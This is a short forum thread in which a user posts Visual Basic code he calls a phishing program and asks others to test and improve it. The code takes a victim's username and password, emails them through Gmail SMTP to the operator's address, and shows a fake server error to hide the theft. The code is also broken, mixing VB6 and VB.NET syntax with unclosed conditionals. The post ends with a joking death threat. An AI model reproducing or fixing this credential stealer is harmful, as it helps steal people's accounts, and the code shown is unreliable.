Phishing Program

[323]

Hey guys I made a phishing program for someone, but since I have Visual Basic 6.0 Portable Edition I can't test it, because I'm pretty sure you need 2008 Express x.x

Private Sub Button1_Click()
If Text1.Text = "" Then
            MsgBox ("Username Is Missing")
If Text2.Text = "" Then
            MsgBox ("Password Is Mising")
If Text3.Text = "" Then
            MsgBox ("Victims Username is Missing")
If Text4.Text = "" Then
            MsgBox ("Your Email is Missing! Without this we cant email you the accounts password")
        Else
        End If
        End If
        Dim smtpServer As New SmtpClient()
        Dim mail As New MailMessage()
        smtpServer.Credentials = New Net.NetworkCredential("Your Gmail", "Your Password")
        'using gmail
        smtpServer.Port = 587
        smtpServer.Host = "smtp.gmail.com"
        smtpServer.EnableSsl = True
        mail = New MailMessage()
        mail.From = New MailAddress("Your Gmail")
        mail.To.Add ("Your Gmail")
        mail.Subject = "Username: " & TextBox1.Text
        mail.Body = "Username : " & Text1.Text & ", " & "Password : " & Text2.Text
        smtpServer.Send (mail)
        MsgBox ("DIsconnected From Server, Please try again later!")
End Sub

Just put your email where it says "Your Gmail" and your password where it says "Your Password" And run it and fill out the forum and see if it emails it to you xP

I need to test this but I don't know of a Visual Basic 2008 Express Edition Portable and I cant get the normal one.

If you guys could post results or help me test/tweak it that would be great

Thanks,

~Flareboy323

P.S. If you steal this code, I will hunt you down and kill you. At least give me credit?

[Chad]

Fail coding is fail coding